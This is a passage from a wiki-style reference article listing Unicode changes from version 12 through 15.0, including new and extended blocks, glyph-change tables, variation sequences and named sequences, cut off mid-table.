* (total 31 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90D-U+1F90F, U+1F93F, U+1F971, U+1F97B, U+1F9A5-U+1F9AA, U+1F9AE-U+1F9AF, U+1F9BA-U+1F9BF, U+1F9C3-U+1F9CA and U+1F9CD-U+1F9CF)
* Heterodox chess symbols (total 84 characters) were added to '''Chess Symbols'''. (U+1FA00-U+1FA53)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Spacing Modifier Letters
|02EA, 02EB
|2
|-
|Vedic Extensions
|1CF2..1CF3
|2
|-
|Currency Symbols
|20A9
|1
|-
|CJK Symbols and Punctuation
|3001, 3002
|2
|-
|Bopomofo
|3105..312F
|43
|-
|Bopomofo Extended
|31A0..31BA
|27
|-
|CJK Unified Ideographs Extension A
|37C3, 3B9D, 3CFD, 3FE0, 44EC, 4A76
|6
|-
|CJK Unified Ideographs
|5344, 55B9, 6ABC, 6FF9, 809E, 80BC, 80E9, 8132, 8159, 841C, 891D, 8C6C, 915E, 9FD4
|14
|-
|Phags-pa
|A840..A877
|56
|-
|Halfwidth and Fullwidth Forms
|FF01, FF0C, FF0E, FF1A, FF1B, FF1F
|6
|-
|CJK Unified Ideographs Extension B
|200DD, 20164, 20BBF, 20C02, 20CED, 21D4C, 2278B, 23AB8, 2459B, 24A7D, 24FB9, 25ED7, 2677C, 26B4C, 26C21, 26CBE, 26E3D, 28834, 289A1, 289C0, 28A0F, 28B46
|22
|-
|CJK Unified Ideographs Extension C
|2A8FB, 2A917, 2AA30
|3
|-
|CJK Unified Ideographs Extension E
|2BA52, 2BD77, 2C494, 2C72F, 2C734, 2CB38
|6
|-
|CJK Unified Ideographs Extension F
|2D23B, 2E83A
|2
|-
! colspan=&quot;2&quot; |Total
!192
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|3001 FE00
|
|corner-justified form # IDEOGRAPHIC COMMA
|-
|3001 FE01
|
|centered form # IDEOGRAPHIC COMMA
|-
|3002 FE00
|
|corner-justified form # IDEOGRAPHIC FULL STOP
|-
|3002 FE01
|
|centered form # IDEOGRAPHIC FULL STOP
|-
|FF01 FE00
|
|corner-justified form # FULLWIDTH EXCLAMATION MARK
|-
|FF01 FE01
|
|centered form # FULLWIDTH EXCLAMATION MARK
|-
|FF0C FE00
|
|corner-justified form # FULLWIDTH COMMA
|-
|FF0C FE01
|
|centered form # FULLWIDTH COMMA
|-
|FF0E FE00
|
|corner-justified form # FULLWIDTH FULL STOP
|-
|FF0E FE01
|
|centered form # FULLWIDTH FULL STOP
|-
|FF1A FE00
|
|corner-justified form # FULLWIDTH COLON
|-
|FF1A FE01
|
|centered form # FULLWIDTH COLON
|-
|FF1B FE00
|
|corner-justified form # FULLWIDTH SEMICOLON
|-
|FF1B FE01
|
|centered form # FULLWIDTH SEMICOLON
|-
|FF1F FE00
|
|corner-justified form # FULLWIDTH QUESTION MARK
|-
|FF1F FE01
|
|centered form # FULLWIDTH QUESTION MARK
|}

== Unicode 12.1 ==

Unicode 12.1 was released on May 7, 2019. It encoded 137,929 characters, adding only 1 new character.

=== Extended blocks ===
* A square era name Reiwa (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+32FF)

== Unicode 13.0 ==

Unicode 13.0 was released on March 10, 2020. It encoded 143,859 characters, adding 5,930 new characters.

=== New blocks ===

* '''Yezidi''' (U+10E80-U+10EBF), containing 47 characters, was added.
* '''Chorasmian''' (U+10FB0-U+10FDF), containing 28 characters, was added.
* '''Dives Akuru''' (U+11900-U+1195F), containing 72 characters, was added.
* '''Lisu Supplement''' (U+11FB0-U+11FBF), containing 1 character, was added.
* '''Khitan Small Script''' (U+18B00-U+18CFF), containing 470 characters, was added.
* '''Tangut Supplement''' (U+18D00-U+18D08), containing 9 characters, was added.
* '''Symbols for Legacy Computing''' (U+1FB00-U+1FBFF), containing 212 characters, was added.
* '''CJK Unified Ideographs Extension G''' (U+30000-U+3134F), containing 4939 characters, was added.

=== Extended blocks ===

* Letters for African languages and Punjabi (total 10 characters) were added to '''Arabic Extended-A'''. (U+08BE-U+08C7)
* A sign Overline (total 1 character) was added to '''Oriya'''. (U+0B55)
* A Vedic Anusvara (total 1 character) was added to '''Malayalam'''. (U+0D04)
* A sign Candrabindu (total 1 character) was added to '''Sinhala'''. (U+0D81)
* Combining diacritical marks for Scottish phonology (total 2 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1ABF-U+1AC0)
* A Japanese symbol for Type A Electronics (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B97)
* Cross patties and a Tironian sign Capita Et (total 3 characters) were added to '''Supplemental Punctuation'''. (U+2E50-U+2E52)
* Letters for Taiwan and Cantonese language (total 5 characters) were added to '''Bopomofo Extended'''. (U+31BB-U+31BF)
* Some disunified ideographs (total 10 characters) were added to '''CJK Unified Ideographs Extension A'''. (U+4DB6-4DBF)
* Some ideographs for China (total 13 characters) were added to '''CJK Unified Ideographs'''. (U+9FF0-U+9FFC)
* Letters for Gaulish (total 6 characters) were added to '''Latin Extended-D'''. (U+A7C7-U+A7CA and U+A7F5-U+A7F6)
* An alternate sign Nasanta (total 1 character) was added to '''Syloti Nagri'''. (U+A82C)
* Letter R With Midle Tilde and modifier letters for Scottish phonology (total 4 characters) were added to '''Latin Extended-E'''. (U+AB68-U+AB6B)
* A symbol Ascia (total 1 character) was added to '''Ancient Symbols'''. (U+1019C)
* A letter for Pali (total 1 character) was added to '''Chakma'''. (U+11147)
* A vowel sign Prishthamatra E and Inverted Candrabindu (total 2 characters) were added to '''Sharada'''. (U+111CE and U+111CF)
* Double comma, sign Jihvamuliya and Uphadhmaniya (total 3 characters) were added to '''Newa'''. (U+1145A and U+11460-U+11461)
* Khitan Small Script Filler and reading marks for Vietnamese (total 3 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE4 and U+16FF0-U+16FF1)
* Some additional components (total 13 characters) were added to '''Tangut Components'''. (U+18AF3-U+18AFF)
* Creative Commons license symbols and Mask Work symbol (total 7 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10D-U+1F10F, U+1F16D-1F16F and U+1F1AD)
* Hut, Elevator, Pickup Truck and Roller Skate emoji (total 4 characters) were added to '''Transportation and Map Symbols'''. (U+1F6D6-U+1F6D7 and U+1F6FB-U+1F6FC)
* Arrows for legacy computing (total 2 characters) were added to '''Supplemental Arrows-C'''. (U+1F8B0-U+1F8B1)
* (total 10 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90C, U+1F972, U+1F977-U+1F978, U+1F9A3-U+1F9A4, U+1F9AB-U+1F9AD and U+1F9CB)
* (total 41 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA74, U+1FA83-U+1FA86, U+1FA96-U+1FAA8, U+1FAB0-U+1FAB6, U+1FAC0-U+1FAC2 and U+1FAD0-U+1FAD6)
* Gongche characters for Kunqu Opera (total 7 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6D7-U+2A6DD)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Tagalog
|1700..170C, 170E..1714
|20
|-
|Mongolian
|1834, 1871, 1878
|3
|-
|Sundanese
|1BAB
|1
|-
|Currency Symbols
|20BF
|1
|-
|CJK Radicals Supplement
|2E80..2E99, 2E9B..2EF3
|115
|-
|Kangxi Radicals
|2F00..2FD5
|214
|-
|CJK Unified Ideographs Extension A
|3472, 38C7, 3DB8, 3FE0, 440B, 46E9
|6
|-
|CJK Unified Ideographs
|53FD, 6146, 6711, 671C, 6721, 6725, 6BD2, 7B9A, 87CE, 8956, 93BF, 9B97
|12
|-
|Latin Extended-D
|A764..A765
|2
|-
|Phags-pa
|A86D
|1
|-
|Tangut
|175F6, 17F0D, 17F8A, 17FA5, 180D6, 18139, 18147, 184F1, 18736
|9
|-
|Tangut Components
|18843, 18856, 1888C, 1890A, 18915, 1893B
|6
|-
|Adlam
|1E900..1E94A, 1E950..1E959, 1E95E..1E95F
|71
|-
|Miscellaneous Symbols and Pictographs
|1F3B1
|1
|-
|Supplemental Symbols and Pictographs
|1F995..1F998, 1F99B..1F99E, 1F9B0..1F9B3, 1F9E7
|13
|-
|CJK Unified Ideographs Extension B
|20219, 21249, 21827, 22C3A, 2327B, 23496, 2355E, 2363B, 236ED, 23839, 23FD5, 24261, 24726, 248F2, 2548E, 26657, 26C9E, 26FE1, 27334, 27C0E, 27CEF, 2A38C
|22
|-
|CJK Unified Ideographs Extension C
|2AED5, 2AEF3, 2AF76, 2B09F, 2B1C3, 2B1E5
|6
|-
|CJK Unified Ideographs Extension E
|2B83C, 2B8D9..2B8DA, 2B96F, 2BBD7, 2BD61, 2BE4A, 2BF1D, 2BF9D, 2C0B8, 2C142, 2C176, 2C316, 2C3FB, 2C402, 2C7AC, 2C82C, 2C83A, 2C9A1, 2CC88, 2CD68
|21
|-
|CJK Unified Ideographs Extension F
|2DC09, 2DE4A, 2EB7E, 2EB89
|4
|-
|CJK Compatibility Ideographs Supplement
|2F83B, 2F878, 2F8D6..2F8D7, 2F8DA, 2F8F0, 2F984, 2FA02
|8
|-
! colspan=&quot;2&quot; |Total
!536
|}

== Unicode 14.0 ==

Unicode 14.0 was released on September 14, 2021. It encoded 144,697 characters, adding 838 new characters.

=== New blocks ===

* '''Arabic Extended-B''' (U+0870-U+089F), containing 41 characters, was added.
* '''Vithkuqi''' (U+10570-U+105BF), containing 70 characters, was added.
* '''Latin Extended-F''' (U+10780-U+107BF), containing 57 characters, was added.
* '''Old Uyghur''' (U+10F70-U+10FAF), containing 26 characters, was added.
* '''Unified Canadian Aboriginal Syllabics Extended-A''' (U+11AB0-U+11ABF), containing 16 characters, was added.
* '''Cypro-Minoan''' (U+12F90-U+12FFF), containing 99 characters, was added.
* '''Tangsa''' (U+16A70-U+16ACF), containing 89 characters, was added.
* '''Kana Extended-B''' (U+1AFF0-U+1AFFF), containing 13 characters, was added.
* '''Znamenny Musical Notation''' (U+1CF00-U+1CFFF), containing 185 characters, was added.
* '''Latin Extended-G''' (U+1DF00-U+1DFFF), containing 31 characters, was added.
* '''Toto''' (U+1E290-U+1E2BF), containing 31 characters, was added.
* '''Ethiopic Extended-B''' (U+1E7E0-U+1E7FF), containing 28 characters, was added.

=== Extended blocks ===

* An End of Text punctuation mark (total 1 character) was added to '''Arabic'''. (U+061D)
* Letters for Balti and Quranic orthography (total 12 characters) were added to '''Arabic Extended-A'''. (U+08B5 and U+08C8-U+08D2)
* A sign Nukta and letter Nakaara Pollu (total 2 characters) were added to '''Telugu'''. (U+0C3C and U+0C5D)
* A letter Nakaara Pollu (total 1 character) was added to '''Kannada'''. (U+0CDD)
* A letter Ra, sign Pamudpod and archaic letter Ra (total 3 characters) were added to '''Tagalog'''. (U+170D, U+1715 and U+171F)
* A fourth Free variation selector (total 1 character) was added to '''Mongolian'''. (U+180F)
* Combining diacritical marks for extended IPA (total 14 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1AC1-U+1ACE)
* An archaic ligature Jnya and punctuation marks (total 3 characters) were added to '''Balinese'''. (U+1B4C and U+1B7D-U+1B7E)
* A combining Dot Below Left (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFA)
* A Kyrgyz Som sign (total 1 character) was added to '''Currency Symbols'''. (U+20C0)
* A letter Caudate Chrivi (total 2 characters) were added to '''Glagolitic'''. (U+2C2F and U+2C5F)
* Medieval and phonetic punctuation marks (total 11 characters) were added to '''Supplemental Punctuation'''. (U+2E53-U+2E5D)
* Some ideographs for Macao (total 3 characters) were added to '''CJK Unified Ideographs'''. (U+9FFD-U+9FFF)
* Archaic European letters, modifier letters for Sokuon and Chatino orthography (total 13 characters) were added to '''Latin Extended-D'''. (U+A7C0-U+A7C1, U+A7D0-U+A7D1, U+A7D3, U+A7D5, U+A7D6-U+A7D9 and U+A7F2-U+A7F4)
* A modifier letter Wasla Above and honorifics (total 20 characters) were added to '''Arabic Presentation Forms-A'''. (U+FBC2, U+FD40-U+FD4F, U+FDCF and U+FDFE-U+FDFF)
* Letters for Old Tamil (total 6 characters) were added to '''Brahmi'''. (U+11070-U+11075)
* A vowel sign Vocalic R (total 1 character) was added to '''Khaiti'''. (U+110C2)
* An Abbreviation sign (total 1 character) was added to '''Takri'''. (U+116B9)
* Letters for Tai Ahom (total 7 characters) were added to '''Ahom'''. (U+11740-U+11746) The block was expanded from (U+11700-U+1173F) to (U+11700-U+1174F)
* Kana archaic letters (total 4 characters) were added to '''Kana Extended-A'''. (U+1B11F-U+1B122)
* Accidental symbols for Iranian classical music (total 2 characters) were added to '''Musical Symbols'''. (U+1D1E9-U+1D1EA)
* Playground Slide, Wheel and Ring Buoy emoji (total 3 characters) were added to '''Transportation and Map Symbols'''. (U+1F6DD-U+1F6DF)
* A Heavy Equals Sign emoji (total 1 character) was added to '''Geometric Shapes Extended'''. (U+1F7F0)
* A Troll and Face Holding Back Tears emoji (total 2 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F979 and U+1F9CC)
* (total 31 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA7B-U+1FA7C, U+1FAA9-U+1FAAC, U+1FAB7-U+1FABA, U+1FAC3-U+1FAC5, U+1FAD7-U+1FAD9, U+1FAE0-U+1FAE7 and U+1FAF0-U+1FAF6)
* Some ideographs for Macao (total 2 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6DE-U+2A6DF)
* Disunified ideographs and a G source ideograph for China, Hong Kong and Vietnam (total 4 characters) were added to '''CJK Unified Ideographs Extension C'''. (U+2B735-U+2B738)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Latin Extended-B
|0184..0185
|2
|-
|Arabic
|0674..0678, 06C5, 06C7, 06FE
|8
|-
|Letterlike Symbols
|210B, 2110, 2112, 211B, 212C, 2130..2131, 2133
|8
|-
|Enclosed Alphanumerics
|2460..24FF
|160
|-
|Dingbats
|2776..2793
|30
|-
|CJK Symbols and Punctuation
|3001..3029, 3030..303D, 303F
|56
|-
|CJK Strokes
|31C0..31E3
|36
|-
|Katakana Phonetic Extensions
|31F0..31FF
|16
|-
|Enclosed CJK Letters and Months
|3200..321E, 3220..32FF
|255
|-
|CJK Compatibiity
|3300..33FF
|256
|-
|CJK Unified Ideographs Extension A
|3777, 3B3F
|2
|-
|CJK Unified Ideographs
|5DD5, 652C, 6AC0
|3
|-
|Arabic Presentation Forms-A
|FBD7..FBD8, FBDD, FBE0..FBE1
|5
|-
|Vertical Forms
|FE10..FE19
|10
|-
|CJK Compatibiity Forms
|FE30..FE4F
|32
|-
|Small Form Variants
|FE50..FE52, FE54..FE66, FE68..FE6B
|26
|-
|Halfwidth and Fullwidth Forms
|FF01..FF9F, FFA1..FFBE, FFC2..FFC7, FFCA..FFCF, FFD2..FFD7, FFDA..FFDC, FFE0..FFE6, FFE8..FFEE
|225
|-
|Egyptian Hieroglyphs
|1300A, 13017, 1302D, 13032, 13034..13035, 13037..13038, 1303A..1303E, 1304E..1304F, 13055, 13057, 13068, 1309A, 130D2, 130D5, 130F6, 130FE, 13192, 1325F, 13267, 1326A, 13281, 13297, 1329E, 132B4, 132C1, 132E6, 13304, 1331F, 13378..1337B, 1337D..1337E, 133F3, 133FA..13403, 1340D, 13417, 1342B
|55
|-
|Mathematical Alphanumeric Symbols
|1D49C, 1D49E..1D49F, 1D4A2, 1D4A5..1D4A6, 1D4A9..1D4AC, 1D4AE..1D4B5
|18
|-
|Enclosed Alphanumeric Supplement
|1F100..1F1AD, 1F1E6..1F1FF
|200
|-
|Enclosed Ideographic Supplement
|1F200..1F202, 1F210..1F23B, 1F240..1F248, 1F250..1F251, 1F260..1F265
|64
|-
|Supplemental Symbols and Pictographs
|1F930
|1
|-
|CJK Unified Ideographs Extension B
|22ADC, 230F2, 25B27, 26F28
|4
|-
! colspan=&quot;2&quot; |Total
!1472
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|1D49C FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE00
|
|chancery style # SCRIPT CAPITAL B
|-
|1D49E FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE00
|
|chancery style # SCRIPT CAPITAL E
|-
|2131 FE00
|
|chancery style # SCRIPT CAPITAL F
|-
|1D4A2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE00
|
|chancery style # SCRIPT CAPITAL H
|-
|2110 FE00
|
|chancery style # SCRIPT CAPITAL I
|-
|1D4A5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE00
|
|chancery style # SCRIPT CAPITAL L
|-
|2133 FE00
|
|chancery style # SCRIPT CAPITAL M
|-
|1D4A9 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE00
|
|chancery style # SCRIPT CAPITAL R
|-
|1D4AE FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Z
|-
|1D49C FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE01
|
|roundhand style # SCRIPT CAPITAL B
|-
|1D49E FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE01
|
|roundhand style # SCRIPT CAPITAL E
|-
|2131 FE01
|
|roundhand style # SCRIPT CAPITAL F
|-
|1D4A2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE01
|
|roundhand style # SCRIPT CAPITAL H
|-
|2110 FE01
|
|roundhand style # SCRIPT CAPITAL I
|-
|1D4A5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE01
|
|roundhand style # SCRIPT CAPITAL L
|-
|2133 FE01
|
|roundhand style # SCRIPT CAPITAL M
|-
|1D4A9 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE01
|
|roundhand style # SCRIPT CAPITAL R
|-
|1D4AE FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Z
|}

===Named Sequences===
Here is a table with new named character sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Name
|-
|0915 093C
|DEVANAGARI SEQUENCE FOR LETTER QA
|-
|0916 093C
|DEVANAGARI SEQUENCE FOR LETTER KHHA
|-
|0917 093C
|DEVANAGARI SEQUENCE FOR LETTER GHHA
|-
|091C 093C
|DEVANAGARI SEQUENCE FOR LETTER ZA
|-
|0921 093C
|DEVANAGARI SEQUENCE FOR LETTER DDDHA
|-
|0922 093C
|DEVANAGARI SEQUENCE FOR LETTER RHA
|-
|092B 093C
|DEVANAGARI SEQUENCE FOR LETTER FA
|-
|092F 093C
|DEVANAGARI SEQUENCE FOR LETTER YYA
|-
|09A1 09BC
|BENGALI SEQUENCE FOR LETTER RRA
|-
|09A2 09BC
|BENGALI SEQUENCE FOR LETTER RHA
|-
|09AF 09BC
|BENGALI SEQUENCE FOR LETTER YYA
|-
|0A32 0A3C
|GURMUKHI SEQUENCE FOR LETTER LLA
|-
|0A38 0A3C
|GURMUKHI SEQUENCE FOR LETTER SHA
|-
|0A16 0A3C
|GURMUKHI SEQUENCE FOR LETTER KHHA
|-
|0A17 0A3C
|GURMUKHI SEQUENCE FOR LETTER GHHA
|-
|0A1C 0A3C
|GURMUKHI SEQUENCE FOR LETTER ZA
|-
|0A2B 0A3C
|GURMUKHI SEQUENCE FOR LETTER FA
|-
|0B21 0B3C
|ORIYA SEQUENCE FOR LETTER RRA
|-
|0B22 0B3C
|ORIYA SEQUENCE FOR LETTER RHA
|}

== Unicode 15.0 ==

Unicode 15.0 was released on September 13, 2022. It encoded 149,186 characters, adding 4,489 new characters.

=== New blocks ===

* '''Arabic Extended-C''' (U+10EC0-U+10EFF), containing 3 characters, was added.
* '''Devanagari Extended-A''' (U+11B00-U+11B5F), containing 10 characters, was added.
* '''Kawi''' (U+11F00-U+11F5F), containing 86 characters, was added.
* '''Kaktovik Numerals''' (U+1D2C0-U+1D2DF), containing 20 characters, was added.
* '''Cyrillic Extended-D''' (U+1E030-U+1E08F), containing 63 characters, was added.
* '''Nag Mundari''' (U+1E4D0-U+1E4FF), containing 42 characters, was added.
* '''CJK Unified Ideographs Extension H''' (U+31350-U+323AF), containing 4192 characters, was added.

=== Extended blocks ===

* A Yamakkan (total 1 character) was added to '''Lao'''. (U+0ECE)
* A combining Anusvara Above Right (total 1 character) was added to '''Kannada'''. (U+0CF3)
* Letters Qa, Short I and Vocalic R (total 3 characters) were added to '''Khojki'''. (U+1123F-U+11241)
* An additional hieroglyph to Group V (total 1 character) was added to '''Egyptian Hieroglyphs'''
* Extended format controls (total 29 characters) were added to '''Egyptian Hieroglyph Format Controls'''. (U+13439-U+13455). The block was expanded from (U+13430-U+1343F) to (U+13430-U+1345F)
* Hiragana and Katakana Small Ko (total 2 characters) were added to '''Small Kana Extension'''. (U+1B132 and U+1B155)
* Letters for Malayalam transliteration (total 6 characters) were added to '''Latin Extended-G'''. (U+1DF25-U+1DF2A)
* A Wireless emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6DC)
* A Nine Pointed White Star (total 1 character) was be added to '''Geometric Shapes Extended'''. (U+1F7D9)
* A Lot of Fortune, eclipse symbols and symbols for dwarf planets (total 6 characters) were added to '''Alchemical symbols'''. (U+1F774-U+1F776 and U+1F77B-U+1F77F)
* (total 20 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA75-U+1FA77, U+1FA87-U+1FA88, U+1FAAD-U+1FAAF, U+1FABB-U+1FABF, U+1FACE-U+1FACF, U+1FADA-U+1FADB, U+1FAE8 and U+1FAF7-U+1FAF8)
* A disunified ideograph for Macao (total 1 character) was added to '''CJK Unified Ideographs Extension C'''. (U+2B739)

===Glyph Changes===

Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|IPA Extensions
|025E, 029A
|2
|-
|United Canadian Aboriginal Syllabics
|144B, 14D1, 1506, 15C0..15C3, 15E8..15EE, 1601, 1604..1607, 160A..160D, 1614..162D, 1630..163F, 1646..1647, 165A
|66
|-
|United Canadian Aboriginal Syllabics Extended
|18DB, 18EC, 18F1..18F2, 18F5
|5
|-
|Sundanese
|1BBF
|1
|-
|Optical Character Recognition
|2447
|1
|-
|CJK Unified Ideographs Extension A
|34DC, 3BF6, 3C43, 48B4, 4DBE
|5
|-
|CJK Unified Ideographs
|585F, 5F50, 6BC0, 7BC9, 833E
|5
|-
|Cyrillic Extended-B
|A66E
|1
|-
|Old Turkic
|10C47
|1
|-
|Egyptian Hieroglyphs
|various (new standardized variation sequences)
|94
|-
|Khitan Small Script
|18CCA
|1
|-
|Wancho (font update)
|1E2C0..1E2F9, 1E2FF
|59
|-
|Alchemical Symbols (font update)
|1F700..1F773
|116
|-
|CJK Unified Ideographs Extension B
|20048, 20A1C, 2143F, 21A5F, 21C08, 21FBA, 22ACF, 23392, 238A7, 23D8F, 23F4E, 25D20, 26E30, 27B48, 27C4F, 28633, 28B02, 28E9A, 29760, 2A60F
|20
|-
|CJK Unified Ideographs Extension C
|2B249
|1
|-
|CJK Unified Ideographs Extension E
|2BB37, 2BD7D, 2C151, 2C1E0, 2C2D6, 2C5CA, 2C810, 2CD34
|8
|-
|CJK Unified Ideographs Extension F
|2CF4E, 2D25D, 2D3EC, 2D6A7, 2D7BA, 2D979, 2DA74, 2DA97, 2DC13, 2DDC0, 2DF10, 2DF78, 2E05A, 2E0AE, 2E516, 2E640, 2E680, 2EA63
|18
|-
|CJK Compatibility Ideographs Supplement
|2F804, 2F805, 2F833, 2F835, 2F84C, 2F84F, 2F852, 2F855, 2F887, 2F88B, 2F899, 2F8A0, 2F8A6, 2F8A7, 2F8AD, 2F8B1, 2F8B4, 2F8B7, 2F8BA, 2F8D0, 2F8E0..2F8E2, 2F8E5, 2F8E6, 2F8FE, 2F900, 2F901, 2F907, 2F912, 2F922, 2F926, 2F936, 2F938, 2F94E, 2F959, 2F95F, 2F96C, 2F99F, 2F9B8, 2F9BA, 2F9D3, 2F9DB, 2F9DC, 2F9E8, 2F9EA, 2F9EE, 2FA00, 2FA0D, 2FA1B
|50
|-
|CJK Unified Ideographs Extension G
|302FC, 30723, 30A6D, 30CF7, 30DBF, 31006, 3105D
|7
|-
! colspan=&quot;2&quot; |Total
!461
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|13091 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027
|-
|13092 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027A
|-
|13093 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D028
|-
|130A9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D047
|-
|1310F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F016
|-
|13117 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F023
|-
|1311C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F028
|-
|13121 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F032
|-
|13127 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F037A
|-
|13139 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13139 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13183 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH H005
|-
|13187 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH H008
|-
|131A0 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131A0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131B1 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B1 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B8 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M009
|-
|131B9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M010
|-
|131BA FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M010A
|-
|131CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M017
|-
|131EE FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131EE FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131F8 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N010
|-
|131F9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131F9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131FA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N012
|-
|131FA FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N012
|-
|13216 FE02
|
